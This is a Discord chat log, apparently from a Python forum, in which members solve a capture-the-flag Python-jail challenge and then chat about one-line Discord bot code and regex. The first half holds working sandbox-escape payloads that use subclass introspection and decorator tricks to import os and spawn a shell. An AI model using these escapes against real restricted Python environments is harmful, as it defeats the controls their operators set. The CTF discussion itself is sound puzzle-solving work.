print(*(chr(int(f"0x{chr(ord('a')+i)}{chr(ord('a')+j)}",16))for i,j in product(range(6),repeat=2)))
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
ª « ¬ ® ¯ º » ¼ ½ ¾ ¿ Ê Ë Ì Í Î Ï Ú Û Ü Ý Þ ß ê ë ì í î ï ú û ü ý þ ÿ
okay so none of those are functional python code so that's a dead end
wait list literals are permitted
We need a way to get __import__ back, or at least open.
'\t\n\x0b\x0c\r!#$.:;?@[\\]_`abcdefghijklmnopqrstuvwxyz'
i'm just used to seeing strings in green
ah that's better
We can use [].__class__.__base__.__subclasses__, but we need some way of calling it.
Decorators seem difficult, because neither classes nor functions can be declared with ease.
Plain function calls are outright impossible.
That leaves perhaps replacing a method with the function.
However, first we'd need to get an object with mutable attributes.
!e ```py
#encoding:unicode-escape
print\x28\x22\x1b[32msup\x1b[0m\x22\x29\n
Ooh, does raise automatically call its class?
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
[32msup[0m
if only discord could format rich text
raise does, although it needs a subclass of Exception.
!e ```py
class yo_mamma(Exception):
def init(self,*a):
print("Too much mass")
raise yo_mamma
@floral meteor :x: Your eval job has completed with return code 1.
001 | Too much mass
002 | Traceback (most recent call last):
003 | File "<string>", line 4, in <module>
004 | __main__.yo_mamma
Interesting.
I wonder where the flag is; there might be a way to edit the traceback of some error to point to that file.
is there a context manager an attribute of any attributes of list?
I doubt it. Why?
does anyone know of a good CLI python script i can run which generates prompts for filling in DESCRIPTION, README, puts init into a directory, etc? basically a quick package generator
!e ```py
print("with\tfoo\tas\tbar:\n\t...")
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | with foo as bar:
002 | ...
Maybe ask in #tools-and-devops? This channel is for doing weird things in Python.
ok undersood thank you!
This might be replaceable with try/except.
you can't catch exceptions yet
well you can but
you can't actually catch the traceback object
try:...
except Exception as e:...
NameError: Exception
If we could somehow define an Exception, we'd be sweet, but if we could define any subclasses, we'd also be sweet.
!e ```py
try:yo_mamma < a_truck_full_of_big_macs
except:print("Impossible")
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
Impossible
wait we have bools as well
Do we have capital letters?
False should be easy. []is[].
can't unicode-escape encoding without the dash symbol
True is []in[[]].
Does that even work in exec?
!e ```py
#coding:unicode-escape
try\x3ayo\x5fmamma\x20\x3e\x20a\x5ftruck\x5ffull\x5fof\x5fbig\x5fmacs\x3b\nexcept\x3aprint\x28\x22get\x20rekt\x22\x29\x3b
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
get rekt
yes
What's the goal? Spawning a shell?
yeah pretty much
although small steps lets start with a brainfuck interpreter
allowed_symbols = '\t\n\x0b\x0c\r!#$.:;?@[\\]_`abcdefghijklmnopqrstuvwxyz'
exec(input(">>> "),{'__builtins__':{}})
okay so class decorators is the way to go then
!e ```py
exec("print(globals())",{'builtins':{}})
@floral meteor :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | File "<string>", line 1, in <module>
004 | NameError: name 'print' is not defined
!e ```py
exec('class\tyo_mamma:pass',{'builtins':{}})
@floral meteor :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | File "<string>", line 1, in <module>
004 | NameError: __build_class__ not found
[:
I'll see
#coding:unicode_escape doesn't work in exec.
!e ```py
exec("""#coding:unicode-escape
print(\x22yo\x20mamma\x22)""")
@floral meteor :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | File "<string>", line 2
004 | print(\x22yo\x20mamma\x22)
005 | ^
006 | SyntaxError: unexpected character after line continuation character
hol up is string
That sentence looks a little suspect. Is it grammatical? What does it mean?
i coffee one onyl hadded
My brain rn:
alright i figured out how to exit the interpreter given we figure out how to call something
i.e. crash the python jail
try:do_something_to_raise_recursion_error
except:do_the_same_thing
import sys,string
def jail(code):
enabled = string.ascii_lowercase + string.punctuation + string.whitespace
disabled = '+-*/%&|^~<>="\'(){}, '
alphabet = set(enabled) - set(disabled)
max_length = 400
print(f'len(alphabet) == {len(alphabet)}')
print(sys.version)
while'code'not in locals():
try:code = input('>>> ');
except KeyboardInterrupt:print("you cannot escape that way");
if len(code) > max_length or any(char not in alphabet for char in code):
print('Bad code :('); del code;
try:exec(code, {'__builtins__': {}});
except BaseException as e:print(e);print('you failed');
else:print('you failed');
more restrictive version
the goal now is to crash it
cos i nest python in cmd
you can do whatever goals you want.
the goal is still to spawn a shell and find the flag :>
it's a ctf after all
wdym find the flag?
you can get bultiin again with magic methods
restricted source code
looks like it is basically a code execute challenge , not crash challenge 😆
and the answer may be similar with template injection exploit
allowed characters:
\t\n\x0b\x0c\r!#$.:;?@[\\]_`abcdefghijklmnopqrstuvwxyz
!e ```py
print(dir({}))
print(dir([]))
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | ['__class__', '__class_getitem__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__ior__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__or__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__ror__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values']
002 | ['__add__', '__class__', '__class_getitem__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__
... (truncated - too long)
Full output: https://paste.pythondiscord.com/jajuquvexi.txt?noredirect
the biggest block is not being to call functions normally, so you need a way around that
and you can't make a class cos build_class is gone
you can't make a def cos def():
you could make a lambda
but that's pointless without ()
so you think :>
!e ```py
exec("""
for build_class in[lambda :]:
class yay:pass
""",{'builtins':{}})
@floral meteor :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | File "<string>", line 3, in <module>
004 | NameError: __build_class__ not found
bruh
you need to do more than assign build_class
but we can at least make edits to the namespace
but every edit results in an indent
!e also ```py
print(debug)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
True
!e ```py
print(dir(True))
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__gt__', '__hash__', '__index__', '__init__', '__init_subclass__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'as_integer_ratio', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'numerator', 'real', 'to_bytes']
@snow beacon About exceptions: Have you managed to actually catch and bind an exception?
of course that would give easy access to frame objects
getting a string would be a big step
!e
print("".__class__.__base__)
@real mulch :white_check_mark: Your eval job has completed with return code 0.
<class 'object'>
I can get a list of length 2
for a in[[]]:
for a[__debug__.imag]in[[]is[]]:
for a[__debug__.real]in[[]in[[]]]:
...
just replace spaces with tabs
you can "assign" to __annotations__
you can sort of assign variables, but you can't setitem other than 0 and 1
unless i could find a property that's a string...
__doc__
documentation saves lives, people
XD
you can get all sorts of objects, you know
you can get frikin strings
!e ```py
print([].doc)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | Built-in mutable sequence.
002 |
003 | If no argument is given, the constructor creates a new empty list.
004 | The argument must be an iterable if specified.
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | dict() -> new empty dictionary
002 | dict(mapping) -> new dictionary initialized from a mapping object's
003 | (key, value) pairs
004 | dict(iterable) -> new dictionary initialized as if via:
005 | d = {}
006 | for k, v in iterable:
007 | d[k] = v
008 | dict(**kwargs) -> new dictionary initialized with the name=value pairs
009 | in the keyword argument list. For example: dict(one=1, two=2)
and d and i
!e
raise {item.__name__: item for item in [].__class__.__base__.__subclasses__()}['BaseException']('where am i')
@real mulch :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | BaseException: where am i
!e ```py
for a in [lambda:...]:
print(dir(a))# just to show
print(dir(a.code))
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | ['__annotations__', '__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__', '__globals__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__kwdefaults__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']
002 | ['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_kwonlyargcount', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_posonlyargcount', '
... (truncated - too long)
Full output: https://paste.pythondiscord.com/irekafifok.txt?noredirect
!e ```py
print(....doc)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
None
well we have the None
!e ```py
print(None.doc)
!e ```py
print(True.doc)
!e ```py
print(int.doc)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | int([x]) -> integer
002 | int(x, base=10) -> integer
003 |
004 | Convert a number or string to an integer, or return 0 if no arguments
005 | are given. If x is a number, return x.__int__(). For floating point
006 | numbers, this truncates towards zero.
007 |
008 | If x is not a number or if base is given, then x must be a string,
009 | bytes, or bytearray instance representing an integer literal in the
010 | given base. The literal can be preceded by '+' or '-' and be surrounded
011 | by whitespace. The base defaults to 10. Valid bases are 0 and 2-36.
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/ipotanemuh.txt?noredirect
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
157
!e ```py
print(len(bool.doc),len(dict.doc),len(list.doc))
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
222 370 141
!e ```py
print(len(int.doc))
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
605
so as you can see we have a limited set of integers
but we can slice docs
so we can index a slightly larger set of docs with careful big brain
atm im trying to assign build_class```py
for true in[not[]is[]]:
for bool in[true.class]:
for false in[not true]:
for int in[true.imag.class]:
for none in[....doc]:
for int_doc in[int.doc]:
for type in[bool.class]:
for dict in[builtins.class]:
for list in[[].class]:
for str in[int_doc.class]:
for _ in[c for c in type.doc if c not in dict.doc and c not in list.doc and c in str.doc][false]:
...
where spaces are tabs ofc
I got the underscore character
alright I got the number 880
and 24
and 80
!e ```py
print(type.basicsize,int.basicsize,str.basicsize,dict.basicsize,type.base.basicsize,bool.basicsize,list.basicsize)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
880 24 80 48 16 32 40
that's the numbers we have to work with
think outside the box you've put yourself into :>
nuuuuu
code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,
flags, codestring, constants, names, varnames, filename, name,
firstlineno, lnotab[, freevars[, cellvars]])
Create a code object. Not for the faint of heart.
:/
admittedly this is a pretty nontrivial trick you need to figure out
although it's pretty simple once you find it
i can call some things but not things taking 0 arguments
I need to get the second passed argument somehow
ok now i can call anything that takes args
but that doesn't include object.subclasses
hmmm
but object.class.subclasses returns type.subclasses which is the same deal
are you sure about that?
have you tried it?
uh huh
and how many arguments does that take
okay now do it in 400 chars or less
size in bytes?
aww 565 chars
np_nomalized_data = np.c_[np.array([[i] for i in np_usable_data[:,0]]), np.array([[(((np_usable_data[i,j])-min(np_usable_data[:,j]))/(max(np_usable_data[:,j])-min(np_usable_data[:,j])) if (max(np_usable_data[:,j])-min(np_usable_data[:,j])) != 0 else 0) for j in range(1,len(np_usable_data[0]))] for i in range(len(np_usable_data))])]
Concatenates the first column (country names) with the normalized value of each value in the 2d array
410 chars
done
How does this bit work?
You solved the problem yet?
the python jail one
import sys,string
def jail(code):
enabled = string.ascii_lowercase + string.punctuation + string.whitespace
disabled = '+-*/%&|^~<>="\'(){}, '
alphabet = set(enabled) - set(disabled)
max_length = 400
print(f'len(alphabet) == {len(alphabet)}')
print(sys.version)
while'code'not in locals():
try:code = input('>>> ');
except KeyboardInterrupt:print("you cannot escape that way");
if len(code) > max_length or any(char not in alphabet for char in code):
print('Bad code :('); del code;
try:exec(code, {'__builtins__': {}});
except BaseException as e:print(e);print('you failed');
else:print('you failed');
That wasn't my question either.
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
{1: 1}
what
Did you have a way to call an arbitrary function?
as long as it takes between 1 and 2 arguments
and if it takes 2 arguments, it can take a function as the first
Is your clue related to that? Because that was what I was asking about.
!e ```py
builtins.build_class = print
class yo_mamma:"""fat"""
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
<function yo_mamma at 0x7f1cb8844040> yo_mamma
Okay, I see now. Thank you.
what i actually used tho was
__builtins__.__build_class__=....__class__.__ge__
@arbitrary_function
@lambda _:argument
class variable_name:...
which brings me back the the "clue"
The clue seems entirely comprehensible now, thank you.
I'm going to try to work it all out now.
in that last code block... there's another clue, to get around calling a method that takes no args
even tho it only shows how to execute single argument functions.
I appreciate that you want me to figure it out, but I believe I can get a lot of the way without clues from now. If not, I'll be back to ask.
ok
I'm gonna golf it so I can read it 🥲
d,n=np_usable_data,np;r=n.array;a=n.c_[r([[i]for i in d[:,0]]),r([[(((d[i,j]-(m:=min(d[:,j])))/(y:=max(d[:,j])-m)if y!=0else 0)for j in range(1,len(d[0]))]for i in range(len(d))])]
noice. defining a/0 = 0
I've forgotten: once you've gotten object.__subclasses__, which entry imports modules?
84 iirc
Is that _frozen_importlib.BuiltinImporter?
yes
Cool beans.
how you gonna get 84?
I was thinking to just do a list comprehension.
in that case you wanna search for 'port' in element.name
making a string might be less characters than making that specific integer
unless you can find a class whose basesize property is 84
I don't like the numeric method so much because it's different depending on the Python version.
it's also different based on what has already been imported
decorators
oh and variable assignment and conditional formatting looks sort of like this
for a in[expr]:...
for b in[a.attr]:a
for r in[[e[not[]]for e in b if e in a.property][not[[]]]]:a
Okay, I got it in 399. I'm not going to bother shortening it from here.
||"__build_class__:[].__class__.__base__.__eq__\nq:__annotations__\nfor n in __annotations__:\n for __builtins__[n]in[__annotations__[n]]:[]\n@[].__class__.__class__.__subclasses__\n@lambda _:[].__class__.__base__\nclass x:[]\nui:q\nos:q\nfor o in q:\n try:\n @[i for i in x for c in q if c in i.__name__][not[]].load_module\n @lambda _:o\n class s:q\n except:q\nsh:q\nfor h in q:\n @s.system\n @lambda _:h\n class _:q"||
Hang on, that can't be right.
does it spawn a shell?
Yes, but it has spaces in it.
||'for\tf\tin[[]is[]]:f\n[f\tfor\t__builtins__[[lambda:__build_class__][f].__code__.co_names[f]]in[....__class__.__ge__]]\n@[].__class__.__class__.__subclasses__\n@lambda\t_:[].__class__.__base__\nclass\te:f\nfor\tx\tin[[lambda:[cmd][os]][f].__code__.co_names]:f\n@[y\tfor\ty\tin\te\tif[lambda:port][f].__code__.co_names[f]in\ty.__name__][f].load_module\n@lambda\t_:x[not\tf]\nclass\tw:f\n@w.system\n@lambda\t_:x[f]\nclass\te:f'||
I forgot to replace my tabs.
I just put some brackets in my string and it executed it anyway.
||"__build_class__:[].__class__.__base__.__eq__\nq:__annotations__\nfor\tn\tin\t__annotations__:\n\tfor\t__builtins__[n]in[__annotations__[n]]:[]\n@[].__class__.__class__.__subclasses__\n@lambda\t_:[].__class__.__base__\nclass\tx:[]\nui:q\nos:q\nfor\to\tin\tq:\n\ttry:\n\t\t@[i\tfor\ti\tin\tx\tfor\tc\tin\tq\tif\tc\tin\ti.__name__][not[]].load_module\n\t\t@lambda\t_:o\n\t\tclass\ts:q\n\texcept:q\nsh:q\nfor\th\tin\tq:\n\t@s.system\n\t@lambda\t_:h\n\tclass\t_:q"||This seems to work.
I'm basically just putting arbitrary things into ||annotations before iterating through all of the strings,|| and then it all seems to work out fine.
since you define n in that for n in ... you can use n as pass instead of []
also the nested for loops could be replaced with a nested generator, it might be even shorter
Possibly by a single character if it works.
However, I'm within 400, so I don't think I'll bother golfing.
wrote a gif-style lzw decompressor and it's 50 lines long, wonder how small gif decompression could be golfed...
Oh, thank you very much, guys. I'm sorry I was offline - it was 3 a.m. in Moscow)
What payload have you used?
(technically python 3.9-specific while the ctf was running 3.8, but still really cool)
Wow, great
The decorators being arbitrary expressions?
yeah
Fixing it would add extra characters...
How do you pass your payload?
I tried this way:
Hey @ember inlet!
It looks like you tried to attach a Python file - please use a code-pasting service such as https://paste.pythondiscord.com
By the way, this is original source code: https://paste.pythondiscord.com/odufafazif.py
I'm not sure how the newline and tab characters are meant to work.
I can give you address to remote server
I'm just here to figure things out.
!e just to mess with you all ```py
annotations=globals()
globals().update(builtins.dict)
builtins=globals()
build_class:print
@object.class.subclasses
@lambda _:object
class haxx:0
a: a+1 =2
build_class(a,haxx[84].load_module('sys').argv)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
3 ['-c']
well the builtins bit doesn't quite work in the bot but it would print more stuff in "actual" python
just putting this annotations hackery out there before they butcher annotations in 3.10
actual output: ```py
<function haxx at 0x0000023A1644B430> haxx
3 ['']
@floral meteor continue discussion here :D
sup nerds
hello
!e ```py
annotations = globals()
n: 1<<(n+1)//2 =(0x00for x in yo_mamma is fat)
print(n)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
256
when in the actual fk are yo_momma and fat defined-
i do not comprehend
yeah i'm done
daily dose of insanity in esoteric-python
this is enough for the entire week
bye now
XD
!e ```py
annotations=globals()
meaning: 28*meaning//10 =(0x00for x in (life, the_universe and everything))
print(meaning)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
42
now that is pure gold
Douglas Adams compared Pan-Galactic Gargle Blasters to "having your brains smashed out by a slice of lemon wrapped round a large gold brick", which I think is fairly appropriate for esoteric Python.
💰 🧱 ➡️ 🧠
Yes, that, except more eloquent.
XD
can i ask something
You don't need to ask to ask, just ask
how can i put python welcomechannel = await client.fetch_channel(853015153476632608) in an async
async def function():
welcomechannel = await client.fetch_channel(853015153476632608)``` like that
what even is this
@pulsar widget fixed it, now its not esoteric!
if isinstance(argument, discord.Member):
return await ctx.send(
embed = discord.Embed(
title = f'{argument.name}#{argument.discriminator}',
color = argument.color,
description = f'{argument.mention}\'s profile, with all their details'
).add_field(
name = 'ID',
value = f'{argument.id}'
).add_field(
name = 'Bot or human?',
value = 'Bot' if argument.bot else 'Human'
).add_field(
name = 'Nickname',
value = argument.display_name
).add_field(
name = 'Account creation time',
value = argument.created_at.strftime('%a, %B %d %Y, %I:%M UTC')
).add_field(
name = 'Server join time',
value = argument.joined_at.strftime('%a, %B %d %Y, %I:%M UTC'
).add_field(
name = 'Status',
value = f'{argument.status}'
).add_field(
name = 'Number of roles',
value = f'{len(argument.roles)}'
).add_field(
name = 'Staff',
value = 'Yes' if ctx.guild.get_role(790126625932312577) in argument.roles else 'No'
).set_thumbnail(
url = argument.avatar_url_as(format = 'png')
).set_footer(
text = f'Requested by {ctx.author.name}',
icon_url = ctx.author.avatar_url
)
)
)
lmfao
i still stand with this ```py
if isinstance(argument, discord.Member): return await ctx.send(embed = discord.Embed(title = f'{argument.name}#{argument.discriminator}', color = argument.color, description = f'{argument.mention}'s profile, with all their details').add_field(name = 'ID', value = f'{argument.id}').add_field(name = 'Bot or human?', value = 'Bot' if argument.bot else 'Human').add_field(name = 'Nickname', value = argument.display_name).add_field(name = 'Account creation time', value = argument.created_at.strftime('%a, %B %d %Y, %I:%M UTC')).add_field(name = 'Server join time', value = argument.joined_at.strftime('%a, %B %d %Y, %I:%M UTC').add_field(name = 'Status', value = f'{argument.status}').add_field(name = 'Number of roles', value = f'{len(argument.roles)}').add_field(name = 'Staff', value = 'Yes' if ctx.guild.get_role(790126625932312577) in argument.roles else 'No').set_thumbnail(url = argument.avatar_url_as(format = 'png')).set_footer(text = f'Requested by {ctx.author.name}', icon_url = ctx.author.avatar_url)))
its rly so long it doesnt even get highlighted in py codeblocks
if isinstance(argument, discord.Member):
return await ctx.send(embed = discord.Embed(title = f'{argument.name}#{argument.discriminator}', color = argument.color, description = f'{argument.mention}\'s profile, with all their details').add_field(name = 'ID', value = f'{argument.id}').add_field(name = 'Bot or human?', value = 'Bot' if argument.bot else 'Human').add_field(name = 'Nickname', value = argument.display_name).add_field(name = 'Account creation time', value = argument.created_at.strftime('%a, %B %d %Y, %I:%M UTC')).add_field(name = 'Server join time', value = argument.joined_at.strftime('%a, %B %d %Y, %I:%M UTC').add_field(name = 'Status', value = f'{argument.status}').add_field(name = 'Number of roles', value = f'{len(argument.roles)}').add_field(name = 'Staff', value = 'Yes' if ctx.guild.get_role(790126625932312577) in argument.roles else 'No').set_thumbnail(url = argument.avatar_url_as(format = 'png')).set_footer(text = f'Requested by {ctx.author.name}', icon_url = ctx.author.avatar_url)))
what how
it does if you dont oneline the if
i think inline if statements is against pep8, but line length can be whatever you want
o
isnt this f'{argument.name}#{argument.discriminator}' the same as f'{argument}'? i thought the __repr__ was name#0001
does the code work btw? i think theres a missing bracket at col 627
ohh it is im dumb
no syntax errors
what about runtime? the embed works fine?
im yet to try it
look out for this, i may have accidentally deleted when i was expanding it but it looks like strftime isnt closed correctly
...).add_field(
name = 'Server join time',
value = argument.joined_at.strftime('%a, %B %d %Y, %I:%M UTC'
).add_field...
oup no it doesnt ill fix that when im out of this zoom conference 👀
zoom moment
ah
noh it is closed properly
await ctx.send(embed = discord.Embed(title = f'{argument}', color = argument.color, description = f'{argument.mention}\'s profile, with all their details').add_field(name = 'ID', value = f'{argument.id}').add_field(name = 'Bot or human?', value = 'Bot' if argument.bot else 'Human').add_field(name = 'Nickname', value = argument.display_name).add_field(name = 'Account creation time', value = argument.created_at.strftime('%a, %B %d %Y, %I:%M UTC')).add_field(name = 'Server join time', value = argument.joined_at.strftime('%a, %B %d %Y, %I:%M UTC').add_field(name = 'Status', value = f'{argument.status}').add_field(name = 'Number of roles', value = f'{len(argument.roles)}').add_field(name = 'Staff', value = 'Yes' if ctx.guild.get_role(790126625932312577) in argument.roles else 'No').set_thumbnail(url = argument.avatar_url_as(format = 'png')).set_footer(text = f'Requested by {ctx.author.name}', icon_url = ctx.author.avatar_url)))
.add_field(name = 'Account creation time', value = argument.created_at.strftime('%a, %B %d %Y, %I:%M UTC'))
in server join time
await ctx.send(embed = discord.Embed(title = f'{argument}', color = argument.color, description = f'{argument.mention}\'s profile, with all their details').add_field(name = 'ID', value = f'{argument.id}').add_field(name = 'Bot or human?', value = 'Bot' if argument.bot else 'Human').add_field(name = 'Nickname', value = argument.display_name).add_field(name = 'Account creation time', value = argument.created_at.strftime('%a, %B %d %Y, %I:%M UTC')).add_field(name = 'Server join time', value = argument.joined_at.strftime('%a, %B %d %Y, %I:%M UTC')<<<HERE
.add_field(name = 'Status', value = f'{argument.status}').add_field(name = 'Number of roles', value = f'{len(argument.roles)}').add_field(name = 'Staff', value = 'Yes' if ctx.guild.get_role(790126625932312577) in argument.roles else 'No').set_thumbnail(url = argument.avatar_url_as(format = 'png')).set_footer(text = f'Requested by {ctx.author.name}', icon_url = ctx.author.avatar_url)))
it says str has no attribute add_field, which means ive likely messed up
oh ah
lemme check
yes you were right :3
now it gives me a syntax error
eof in multiline statement
and an excess ) at the end of the line i think
np
await ctx.send(embed = discord.Embed(title = f'{argument}', color = argument.color, description = f'{argument.mention}\'s profile, with all their details').add_field(name = 'ID', value = f'{argument.id}').add_field(name = 'Bot or human?', value = 'Bot' if argument.bot else 'Human').add_field(name = 'Nickname', value = argument.display_name).add_field(name = 'Account creation time', value = argument.created_at.strftime('%a, %B %d %Y, %I:%M UTC')).add_field(name = 'Server join time', value = argument.joined_at.strftime('%a, %B %d %Y, %I:%M UTC')).add_field(name = 'Status', value = f'{argument.status}').add_field(name = 'Number of roles', value = f'{len(argument.roles)}').add_field(name = 'Staff', value = 'Yes' if ctx.guild.get_role(790126625932312577) in argument.roles else 'No').set_thumbnail(url = argument.avatar_url_as(format = 'png')).set_footer(text = f'Requested by {ctx.author.name}', icon_url = ctx.author.avatar_url))
is the correct version
and this is for showing user details? !userInfo @user
im making an info command which essentially takes Union[discord.Member, discord.TextChannel, discord.VoiceChannel, discord.Role, discord.StageChannel, discord.Emoji, str] so kinda all round
tell me if i missed any discord.Types (guild doesnt count my bot is private)
maybe discord.CategoryChannel? although that might be the same as stage channel, idk what a stage channel is
yes thank you
a stage channel is the channel with the wifi icon thingy
ohh theyre those new things arent they?
ye
nice
might be a good exercise to do guildChannel even if your bot is private, might help with working with that type if you havent done much before
this is gonna be a whole lot of documentation reading and careful typing because im gonna do all of this in esoterical python 
oki
you could do the entire thing on one line, including all the different types 👀
o k t h a t m a y b e w a y t o o m u c h
await ctx.send(embed=Embed_for_role if isinstance(argument, discord.Role) else Embed_for_textchannel if isinstance(argument, discord.TextChannel) ... else embed_when_invalid_arg)
oh my GOD LMAO
i might do that
after this zoom conference
worth it just to say youve got a 1 line 8000 character function that works
lmfao
you could even merge the decorator and the function declaration into one line...
how do i lambda the whole function
i wanna do bot.add_command(lambda function) and be a badass
actually no i cant
nvmind
or can i
idek anymore
i think you can, i'll look into it
import types
bot.add_command(types.coroutine(f:=lambda ctx: (yield)).__setattr__('__code__',f.__code__.replace(co_flags=f.__code__.co_flags | 128))or f))
or if you don't care about deprecation warnings
import asyncio
bot.add_command(asyncio.coroutine(lambda ctx: (yield)))
after playing around a bit, i got the following to work
import asyncio
bot.add_command(
commands.Command(
asyncio.coroutine(
lambda ctx: (
yield from ctx.send("test").__await__()
)
),
name="test"
)
)
name is what your command is called, in my case i do $test, then you can yield from a coroutine's .__await__(), in this case thats ctx.send()
my bad I actually meant
import asyncio
bot.command()(asyncio.coroutine(lambda ctx: (yield)))
and if you want a command called "test" to send "test"
import asyncio
bot.command()(asyncio.coroutine(lambda ctx: (yield from ctx.send("test").__await__())))
how would you access the command after? the function is nameless
it isn't though. you can do $<lambda>
!e
print((lambda: ...).__name__)
@viscid nymph :white_check_mark: Your eval job has completed with return code 0.
<lambda>
actually with asyncio.coroutine I think you can yield from a coroutine object itself
import asyncio
bot.command()(asyncio.coroutine(lambda ctx: (yield from ctx.send("test"))))
wait
bot.command(aliases=[""])
lol forgot about this
is there a way to typehint in lambdas?
This is way too esoteric laughs nervously
bot.command(aliases=["command name"])(
asyncio.coroutine(
lambda ctx, argument: (
yield from ctx.send(
embed= all your inline if else
).__await__()
)
)
)
!e
import inspect
f = lambda a, b: a + b
f.__annotations__['a'] = f.__annotations__['b'] = f.__annotations__['return'] = int
print(inspect.signature(f))
@viscid nymph :white_check_mark: Your eval job has completed with return code 0.
(a: int, b: int) -> int
i guess, but what about in the 1 line context? discord.py uses type hints to auto convert, very useful for Nimboss's Union[]
import discord
import asyncio
bot.command()((f:=asyncio.coroutine(lambda ctx, member: (yield from ctx.send(f"{member = }")))).__annotations__.__setitem__('member', discord.Member)or f)
How to define name ?
honestly for a one line bot you're better off starting off with a list of commands & names etc, then adding them to the bot via lambda
this is for a single command
anyone have a super complex code i can troll my friend with
complex is not the same as complicated, are you sure it's not about the latter?
I feel like it is time to get help from you guys, because I am writing bad enough code...
I am trying to make a "passthrough" object, aka you do whatever = PassThrough(whatever) and it is like a subclass but for an instance, the only thing I am getting tripped up on is special stuff like __enter__ and __exit__ which for the life of me I cannot make work
I currently have ```py
class PassThrough:
def init(self, obj):
self.object = obj
for special_attribute_name in ("__enter__", "__exit__"):
special_atrribute = getattr(self.object, special_attribute_name)
setattr(self, special_attribute_name, special_atrribute)
self.__getattribute__ = lambda name: super().__getattribute__(name) or self.object.__getattribute__(name)
def __getattr__(self, item: str):
return getattr(self, item) or getattr(self.object, item)
def change(self, new_object):
self.object = new_object``` and even though even `object.__getattribute__(PassThrough(ContextManager), "__enter__"))` gives me the `__enter__`, I cannot do `with`
what terribly hacky way do you guys have to get this working
I'd make a set of possibilities or get it from an object with every possible dunder u want then I'd & it with {*dir(self.object)} (or just .intersection() the dir if I'm trying to make something readable) and define set every attr in the resulting set to call self.obj.<method_name_from_set>
orrrr you can get all the dunders from the self.obj by checking its dir for dunder formatted names and define them
if you have less dunders you want to exclude than include which I guess is probable
is there an easy way to replace every 2nd occurrence of a character in a string? preferably something that can be done in one line
eg;
input: "foo|bar|baz|far|faz"
replace: | > \
output: "foo|bar\baz|far\faz"
regex probably
was kinda hoping to avoid it but oh well
!e
import re
print(re.sub("\|(.*?)\|", "|\\1\\\\", "foo|bar|baz|far|faz"))
@vestal solstice :white_check_mark: Your eval job has completed with return code 0.
foo|bar\baz|far\faz
@sick hound :white_check_mark: Your eval job has completed with return code 0.
